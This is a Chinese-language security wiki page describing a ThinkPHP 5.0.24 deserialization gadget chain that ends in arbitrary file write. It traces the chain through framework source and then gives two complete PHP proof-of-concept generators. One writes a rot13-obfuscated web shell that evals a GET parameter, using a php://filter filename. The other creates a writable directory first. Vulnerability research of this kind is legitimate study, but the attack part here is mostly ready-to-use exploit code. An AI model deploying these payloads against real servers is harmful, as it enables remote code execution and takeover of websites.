menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 005-Thinkphp 反序列化漏洞 chevron_right 001-Thinkphp 5.0.24 反序列化(任意文件写入)漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    001-Thinkphp 5.0.24 反序列化(任意文件写入)漏洞.md
    16.69 KB / 2021-07-17 00:01:32
        # Thinkphp 5.0.24 反序列化(任意文件写入)漏洞
    
    ### 一、漏洞简介
    
    该漏洞只能在linux服务器上使用,win无法适用。
    
    ### 二、漏洞影响
    
    Thinkphp 5.0.24
    
    ### 三、复现过程
    
    漏洞分析
    
    这个漏洞是框架的反序列化漏洞,只有二次开发实现了反序列化才可以利用,所以先构造漏洞代码,在/application/index/controller/Index.php中添加如下代码
    
    
    ```php
    class Index
    {
        public function index()
        {
            echo "Welcome thinkphp 5.0.24";
            unserialize(base64_decode($_GET['a']));
        }
    }
    ```
    
    Thinkphp 5.0.x反序列化最后触发RCE,要调用的Request类__call方法,所以直接找可用的__call方法
    
    这里选择了Output类(/thinkphp/library/think/console/Output.php),因为其中的block可以当作跳板
    
    
    ```php
    public function __call($method, $args)
    {
        if (in_array($method, $this->styles)) {
            array_unshift($args, $method);
            return call_user_func_array([$this, 'block'], $args);
        }
    
        if ($this->handle && method_exists($this->handle, $method)) {
            return call_user_func_array([$this->handle, $method], $args);
        } else {
            throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
        }
    }
    ```
    
    从头开始分析,首先全局搜索__destruct,选择Windows类(/thinkphp/library/think/process/pipes/Windows.php),代码如下
    
    
    ```php
    public function __destruct()
    {
        $this->close();
        $this->removeFiles();
    }
    ```
    
    跟进removeFiles
    
    
    ```php
    private function removeFiles()
    {
        foreach ($this->files as $filename) {
            if (file_exists($filename)) {
                @unlink($filename);
            }
        }
        $this->files = [];
    }
    ```
    
    file_exists可以触发__tostring,所以寻找__tostring,找到了Model类(/thinkphp/library/think/Model.php)
    
    
    ```php
    public function __toString()
    {
        return $this->toJson();
    }
    ```
    
    跟进toJson
    
    
    ```php
    public function toJson($options = JSON_UNESCAPED_UNICODE)
    {
        return json_encode($this->toArray(), $options);
    }
    ```
    
    跟进toArray
    
    
    ```php
    public function toArray()
    {
        $item    = [];
        $visible = [];
        $hidden  = [];
    
        $data = array_merge($this->data, $this->relation);
        
        ...
        // 追加属性(必须定义获取器)
        if (!empty($this->append)) {
            foreach ($this->append as $key => $name) {
                if (is_array($name)) {
                    ...
                } elseif (strpos($name, '.')) {
                    ...
                } else {
                    $relation = Loader::parseName($name, 1, false);
                    if (method_exists($this, $relation)) {
                        $modelRelation = $this->$relation();
                        $value         = $this->getRelationData($modelRelation);
    
                        if (method_exists($modelRelation, 'getBindAttr')) {
                            $bindAttr = $modelRelation->getBindAttr();
                            if ($bindAttr) {
                                foreach ($bindAttr as $key => $attr) {
                                    $key = is_numeric($key) ? $attr : $key;
                                    if (isset($this->data[$key])) {
                                        throw new Exception('bind attr has exists:' . $key);
                                    } else {
                                        $item[$key] = $value ? $value->getAttr($attr) : null;
                                    }
                                }
                                continue;
                            }
                        }
                        $item[$name] = $value;
                    } else {
                        $item[$name] = $this->getAttr($name);
                    }
                }
            }
        }
        return !empty($item) ? $item : [];
    }
    ```
    
    由于我们的目的是执行__call,所以要找函数调用的点,在toArray里有三处
    
    ![](images/15893496028920.png)
    
    
    然后看这三处哪里可控,经调试第三处可控,需要满足的条件是
    
    
    ```php
    if (!empty($this->append))
    if (method_exists($this, $relation))
    if (method_exists($modelRelation, 'getBindAttr'))
    if ($bindAttr)
    ```
    
    且不满足
    
    
    ```php
    if (is_array($name))
    elseif (strpos($name, '.'))
    if (isset($this->data[$key]))
    ```
    
    才能够进入到第三处,首先需要满足$relation是Model内的方法,然后经过如下赋值
    
    
    ```php
    $modelRelation = $this->$relation();
    $value         = $this->getRelationData($modelRelation);
    ```
    
    需要满足$modelRelation可控,经过查找,可以将$modelRelation设为getError
    
    
    ```php
    public function getError()
    {
        return $this->error;
    }
    ```
    
    然后跟进getRelationDate
    
    
    ```php
    protected function getRelationData(Relation $modelRelation)
    {
        if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)) {
            $value = $this->parent;
        } else {
            // 首先获取关联数据
            if (method_exists($modelRelation, 'getRelation')) {
                $value = $modelRelation->getRelation();
            } else {
                throw new BadMethodCallException('method not exists:' . get_class($modelRelation) . '-> getRelation');
            }
        }
        return $value;
    }
    ```
    
    这里需要$modelRelation为Relation类型。全局查找getRelation方法且为Relation类型的类,找到了HasOne(/thinkphp/library/think/model/relation/HasOne.php)
    
    
    ```php
    public function getRelation($subRelation = '', $closure = null)
    {
        // 执行关联定义方法
        $localKey = $this->localKey;
        if ($closure) {
            call_user_func_array($closure, [ & $this->query]);
        }
        // 判断关联类型执行查询
        $relationModel = $this->query
            ->removeWhereField($this->foreignKey)
            ->where($this->foreignKey, $this->parent->$localKey)
            ->relation($subRelation)
            ->find();
    
        if ($relationModel) {
            $relationModel->setParent(clone $this->parent);
        }
    
        return $relationModel;
    }
    ```
    
    可以看到这些条件都是满足的,然后看getBindAttr,发现在OneToOne类中是可控的
    
    
    ```php
    public function getBindAttr()
    {
        return $this->bindAttr;
    }
    ```
    
    所以代码执行到
    
    
    ```
    $item[$key] = $value ? $value->getAttr($attr) : null;
    ```
    
    就可以调用Output类的__call方法,调用payload如下
    
    
    ```php
    namespace think{
        use think\console\Output;
        use think\model\relation\HasOne;
        abstract class Model{
            protected $relation;
            protected $append = ["1"];
            protected $error;
            protected $parent;
            public function __construct()
            {
                $this->parent = new Output();
                $this->relation = ["getError"=>"getError"];
                $this->append = ["getError"=>"getError"];
                $this->error = new HasOne();
                $this->data = ["key"=>"ls"]; ;
            }
        }
    }
    
    namespace think\db{
        use think\console\Output;
        class Query
        {
            protected $model;
            public function __construct()
            {
                $this->model = new Output();
            }
        }
    }
    
    namespace think\model\relation{
        use think\db\Query;
        use think\model\Relation;
        abstract class OneToOne extends Relation
        {
            protected $query;
            protected $bindAttr = [];
            public function __construct()
            {
            }
        }
    
        class HasOne extends OneToOne
        {
            protected $query;
            protected $bindAttr = [];
            public function __construct()
            {
                $this->query = new Query();
                $this->bindAttr = ["1"=>"1"];
            }
        }
    }
    ```
    
    然后接着看Output,在__call中调用block
    
    
    ```php
    protected function block($style, $message)
    {
        $this->writeln("<{$style}>{$message}</$style>");
    }
    ```
    
    继续writeln
    
    
    ```php
    public function writeln($messages, $type = self::OUTPUT_NORMAL)
    {
        $this->write($messages, true, $type);
    }
    ```
    
    write
    
    
    ```php
    public function write($messages, $newline = false, $type = self::OUTPUT_NORMAL)
    {
        $this->handle->write($messages, $newline, $type);
    }
    ```
    
    而$this->handle是可控的,继续全局搜索write,寻找可控的点,找到了/thinkphp/library/think/session/driver/Memcached.php
    
    
    ```php
    public function write($sessID, $sessData)
    {
        return $this->handler->set($this->config['session_name'] . $sessID, $sessData, $this->config['expire']);
    }
    ```
    
    这样就有找到了一个跳板set,然后继续找可以写入文件的方式,找到了/thinkphp/library/think/cache/driver/File.php
    
    
    ```php
    public function set($name, $value, $expire = null)
        {
            if (is_null($expire)) {
                $expire = $this->options['expire'];
            }
            if ($expire instanceof \DateTime) {
                $expire = $expire->getTimestamp() - time();
            }
            $filename = $this->getCacheKey($name, true);
            if ($this->tag && !is_file($filename)) {
                $first = true;
            }
            $data = serialize($value);
            if ($this->options['data_compress'] && function_exists('gzcompress')) {
                //数据压缩
                $data = gzcompress($data, 3);
            }
            $data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
            $result = file_put_contents($filename, $data);
            if ($result) {
                isset($first) && $this->setTagItem($filename);
                clearstatcache();
                return true;
            } else {
                return false;
            }
        }
    ```
    
    此处$filename可控,跟进getCacheKey
    
    
    ```php
    protected function getCacheKey($name, $auto = false)
    {
        $name = md5($name);
        if ($this->options['cache_subdir']) {
            // 使用子目录
            $name = substr($name, 0, 2) . DS . substr($name, 2);
        }
        if ($this->options['prefix']) {
            $name = $this->options['prefix'] . DS . $name;
        }
        $filename = $this->options['path'] . $name . '.php';
        $dir      = dirname($filename);
    
        if ($auto && !is_dir($dir)) {
            mkdir($dir, 0755, true);
        }
        return $filename;
    }
    ```
    
    回来继续看$data,从传入的$value获取,但是在之前writeln处已经传入了true,而且不可控,只能继续往下看,可以看到当成功写入文件时,会调用setTagItem方法,跟进
    
    
    ```php
    protected function setTagItem($name)
    {
        if ($this->tag) {
            $key       = 'tag_' . md5($this->tag);
            $this->tag = null;
            if ($this->has($key)) {
                $value   = explode(',', $this->get($key));
                $value[] = $name;
                $value   = implode(',', array_unique($value));
            } else {
                $value = $name;
            }
            $this->set($key, $value, 0);
        }
    }
    ```
    
    又调用了一次set,且此处两个参数都是可控的,所以可以在文件名处搞事情,通过编码然后将文件名写入shell中
    
    **poc**
    
    
    ```php
    <?php
    namespace think\process\pipes;
    use think\model\Pivot;
    class Pipes{
    
    }
    
    class Windows extends Pipes{
        private $files = [];
    
        function __construct(){
            $this->files = [new Pivot()];
        }
    }
    
    namespace think\model;#Relation
    use think\db\Query;
    abstract class Relation{
        protected $selfRelation;
        protected $query;
        function __construct(){
            $this->selfRelation = false;
            $this->query = new Query();#class Query
        }
    }
    
    namespace think\model\relation;#OneToOne HasOne
    use think\model\Relation;
    abstract class OneToOne extends Relation{
        function __construct(){
            parent::__construct();
        }
    
    }
    class HasOne extends OneToOne{
        protected $bindAttr = [];
        function __construct(){
            parent::__construct();
            $this->bindAttr = ["no","123"];
        }
    }
    
    namespace think\console;#Output
    use think\session\driver\Memcached;
    class Output{
        private $handle = null;
        protected $styles = [];
        function __construct(){
            $this->handle = new Memcached();//目的调用其write()
            $this->styles = ['getAttr'];
        }
    }
    
    namespace think;#Model
    use think\model\relation\HasOne;
    use think\console\Output;
    use think\db\Query;
    abstract class Model{
        protected $append = [];
        protected $error;
        public $parent;#修改处
        protected $selfRelation;
        protected $query;
        protected $aaaaa;
    
        function __construct(){
            $this->parent = new Output();#Output对象,目的是调用__call()
            $this->append = ['getError'];
            $this->error = new HasOne();//Relation子类,且有getBindAttr()
            $this->selfRelation = false;//isSelfRelation()
            $this->query = new Query();
    
        }
    }
    
    namespace think\db;#Query
    use think\console\Output;
    class Query{
        protected $model;
        function __construct(){
            $this->model = new Output();
        }
    }
    
    namespace think\session\driver;#Memcached
    use think\cache\driver\File;
    class Memcached{
        protected $handler = null;
        function __construct(){
            $this->handler = new File();//目的调用File->set()
        }
    }
    namespace think\cache\driver;#File
    class File{
        protected $options = [];
        protected $tag;
        function __construct(){
            $this->options = [
            'expire'        => 0,
            'cache_subdir'  => false,
            'prefix'        => '',
            'path'          => 'php://filter/write=string.rot13/resource=./<?cuc cucvasb();riny($_TRG[pzq]);?>',
            'data_compress' => false,
            ];
            $this->tag = true;
        }
    }
    
    namespace think\model;
    use think\Model;
    class Pivot extends Model{
    
    
    }
    use think\process\pipes\Windows;
    echo base64_encode(serialize(new Windows()));
    ```
    
    该poc仅可在linux下使用,Windows对文件名有限制。
    
    生成文件名规则:
    
    
    ```bash
    md5('tag_'.md5($this->tag))
    即:
    md5('tag_c4ca4238a0b923820dcc509a6f75849b')
    =>3b58a9545013e88c7186db11bb158c44
    =>
    <?cuc cucvasb();riny($_TRG[pzq]);?> + 3b58a9545013e88c7186db11bb158c44
    最终文件名:
    <?cuc cucvasb();riny($_TRG[pzq]);?>3b58a9545013e88c7186db11bb158c44.php
    ```
    
    在漏洞利用时需注意目录读写权限,可先控制options[‘path’] = ‘./demo/‘,利用框架创建一个755文件夹(前提是具有权限)
    
    我们可以稍微修改下 payload 用于创建一个 0755 权限的目录(这里利用的是 think\cache\driver\File:getCacheKey() 中的 mkdir 函数),然后再往这个目录写文件。
    
    ![ba92f014c78344a0acec349b45ed3bd5](images/ba92f014c78344a0acec349b45ed3bd5.gif)
    
    
    poc 创建demo目录
    
    
    ```php
    <?php
    namespace think\process\pipes;
    use think\model\Pivot;
    class Pipes{
    
    }
    
    class Windows extends Pipes{
        private $files = [];
    
        function __construct(){
            $this->files = [new Pivot()];
        }
    }
    
    namespace think\model;#Relation
    use think\db\Query;
    abstract class Relation{
        protected $selfRelation;
        protected $query;
        function __construct(){
            $this->selfRelation = false;
            $this->query = new Query();#class Query
        }
    }
    
    namespace think\model\relation;#OneToOne HasOne
    use think\model\Relation;
    abstract class OneToOne extends Relation{
        function __construct(){
            parent::__construct();
        }
    
    }
    class HasOne extends OneToOne{
        protected $bindAttr = [];
        function __construct(){
            parent::__construct();
            $this->bindAttr = ["no","123"];
        }
    }
    
    namespace think\console;#Output
    use think\session\driver\Memcached;
    class Output{
        private $handle = null;
        protected $styles = [];
        function __construct(){
            $this->handle = new Memcached();//目的调用其write()
            $this->styles = ['getAttr'];
        }
    }
    
    namespace think;#Model
    use think\model\relation\HasOne;
    use think\console\Output;
    use think\db\Query;
    abstract class Model{
        protected $append = [];
        protected $error;
        public $parent;#修改处
        protected $selfRelation;
        protected $query;
        protected $aaaaa;
    
        function __construct(){
            $this->parent = new Output();#Output对象,目的是调用__call()
            $this->append = ['getError'];
            $this->error = new HasOne();//Relation子类,且有getBindAttr()
            $this->selfRelation = false;//isSelfRelation()
            $this->query = new Query();
    
        }
    }
    
    namespace think\db;#Query
    use think\console\Output;
    class Query{
        protected $model;
        function __construct(){
            $this->model = new Output();
        }
    }
    
    namespace think\session\driver;#Memcached
    use think\cache\driver\File;
    class Memcached{
        protected $handler = null;
        function __construct(){
            $this->handler = new File();//目的调用File->set()
        }
    }
    namespace think\cache\driver;#File
    class File{
        protected $options = [];
        protected $tag;
        function __construct(){
            $this->options = [
            'expire'        => 0,
            'cache_subdir'  => false,
            'prefix'        => '',
            'path'          => './demo/',
            'data_compress' => false,
            ];
            $this->tag = true;
        }
    }
    
    namespace think\model;
    use think\Model;
    class Pivot extends Model{
    
    
    }
    use think\process\pipes\Windows;
    echo base64_encode(serialize(new Windows()));
    ```
    
    ![](images/15893498065821.jpg)
    
    
    ![](images/15893498109160.jpg)
    
    
    参考链接
    
    http://althims.com/2020/02/07/thinkphp-5-0-24-unserialize/
    
    http://pines404.online/2020/01/20/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/ThinkPHP/ThinkPHP5.0.24%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%93%BE%E5%88%86%E6%9E%90/
    
    https://xz.aliyun.com/t/7082
    
    links
    file_download